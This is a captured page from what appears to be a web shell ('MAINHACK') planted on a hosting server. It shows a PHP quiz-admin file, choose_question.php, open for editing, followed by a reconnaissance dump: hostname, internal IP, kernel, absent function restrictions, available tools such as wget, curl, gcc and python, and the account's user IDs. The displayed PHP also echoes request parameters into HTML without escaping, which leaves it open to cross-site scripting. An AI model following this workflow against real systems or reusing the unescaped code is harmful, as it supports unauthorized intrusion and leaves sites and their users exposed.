[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: choose_question.php
<?php include'header.php';?> <script src="jquery-1.11.1.min.js"></script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="page-header"> <h4 class="page-title">Choose Questions</h4> </div> <div class="row"> <div class="form-item form-type-textfield form-item-count-checked-checkboxes"> <input type="hidden" id="edit-count-checked-checkboxes" name="count-checked-checkboxes" value="0" size="60" maxlength="50" class="form-text required" /> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="col-md-12"> <div class="card"> <div class="card-body"> <div class="form-group"> <div class="col-md-4"> <label> Category</label> <input type="text" class="form-control" value="<?=$_REQUEST['category']?>" readonly name="title" placeholder="Category"> </div> <div class="col-md-8"> <label>Paper Name</label> <input type="text" class="form-control" name="paper" value="<?=$_REQUEST['paper']?>" readonly placeholder="Paper Name"> <input type="hidden" class="form-control" name="no_of_question" id="no_of_ques" value="<?=$_REQUEST['no_of_question']?>" readonly placeholder="Paper Name"> <input type="hidden" class="form-control" name="paper_id" id="id" value="<?=$_REQUEST['id']?>" readonly placeholder="Paper Name"> </div> </div> <div class="form-group"> <div class="col-md-4"> <input type="submit" class="btn btn-xs btn-success" id="sub" name="sub" value="Add Paper"> </div> </div> </div> <div class="table-responsive"> <table id="" class="display table table-striped table-hover"> <thead> <tr> <th>Sl</th> <th>Choose</th> <th>Date</th> <th>Question Id</th> <th>Category</th> <th>Sub Category</th> <th>Questions</th> <th>Image</th> <th>Answer</th> </tr> </thead> <tbody> <?php $count=1; $stmt=$show->readwithdata('upload_questions','category',$_REQUEST['category']); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ $img=$row['main_image']==''?'No image Added':'<img src="'.$pic_img.'/'.$row['main_image'].'" width="100px">'; ?> <?php echo " <tr> <td>$count</td> <td><input type='checkbox' name='check[]' value='".$row['qid']."' id='id".$count."'> <input type='hidden' name='question[]' value='".$row['question']."'> <input type='hidden' name='option1[]' value='".$row['option1']."'> <input type='hidden' name='option2[]' value='".$row['option2']."'> <input type='hidden' name='option3[]' value='".$row['option3']."'> <input type='hidden' name='option4[]' value='".$row['option4']."'> <input type='hidden' name='answer[]' value='".$row['answer']."'> <input type='hidden' name='main_image[]' value='".$row['main_image']."'> <input type='hidden' name='category[]' value='".$row['category']."'> <input type='hidden' name='sub_category[]' value='".$row['sub_category']."'> </td> <td>".date("d-m-Y",strtotime($row['date']))."</td> <td>".$row['qid']."</td> <td>".$row['category']."</td> <td>".$row['sub_category']."</td>"; echo "<td>".htmlspecialchars_decode($row['question'])."</td> <td>$img</td> <td>".$row['answer']."</td> </tr>"; $count++; } } ?> </tbody></table> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ if(isset($_POST['check'])){ foreach($_POST['check'] as $key=>$value){ // echo $_POST['sub_category'][$key];echo "<br>"; // echo $_POST['question'][$key];echo "<br>"; $data=array( 'paper_id'=>$_POST['paper_id'], 'category'=>htmlspecialchars($_POST['category'][$key]), 'sub_category'=>htmlspecialchars($_POST['sub_category'][$key]), 'qid'=>$value, 'option1'=>$_POST['option1'][$key], 'option2'=>$_POST['option2'][$key], 'option3'=>$_POST['option3'][$key], 'option4'=>$_POST['option4'][$key], 'answer'=>$_POST['answer'][$key], 'question_img'=>$_POST['question_img'][$key], 'question'=>htmlspecialchars($_POST['question'][$key]), ); // print_r($data); $r1=$show->insert('papers',$data); } } if($r1){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "paper has been added", type: "success" }, function() { window.location = "all_papers_new.php"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> </div> <script> $(document).ready(function () { var $checkboxes = $('#exampleValidation td input[type="checkbox"]'); var no_of_ques=$('#no_of_ques').val(); //alert(no_of_ques); $checkboxes.change(function () { var countCheckedCheckboxes = $checkboxes.filter(":checked").length; $("#count-checked-checkboxes").text(countCheckedCheckboxes); $("#edit-count-checked-checkboxes").val(countCheckedCheckboxes); if(countCheckedCheckboxes>no_of_ques){ alert('You cannot select more than no of question set. i.e .'+no_of_ques); $('#sub').prop('disabled', true); }else{ $('#sub').prop('disabled', false); } }); }); </script> <script > $(document).ready(function() { $('#basic-datatables').DataTable({ }); $('#multi-filter-select').DataTable( { "pageLength": 5, initComplete: function () { this.api().columns().every( function () { var column = this; var select = $('<select class="form-control"><option value=""></option></select>') .appendTo( $(column.footer()).empty() ) .on( 'change', function () { var val = $.fn.dataTable.util.escapeRegex( $(this).val() ); column .search( val ? '^'+val+'$' : '', true, false ) .draw(); } ); column.data().unique().sort().each( function ( d, j ) { select.append( '<option value="'+d+'">'+d+'</option>' ) } ); } ); } }); // Add Row $('#add-row').DataTable({ "pageLength": 5, }); var action = '<td> <div class="form-button-action"> <button type="button" data-toggle="tooltip" title="" class="btn btn-link btn-primary btn-lg" data-original-title="Edit Task"> <i class="la la-edit"></i> </button> <button type="button" data-toggle="tooltip" title="" class="btn btn-link btn-danger" data-original-title="Remove"> <i class="la la-times"></i> </button> </div> </td>'; $('#addRowButton').click(function() { $('#add-row').dataTable().fnAddData([ $("#addName").val(), $("#addPosition").val(), $("#addOffice").val(), action ]); $('#addRowModal').modal('hide'); }); }); </script> <?php include'footer.php';?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.23 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619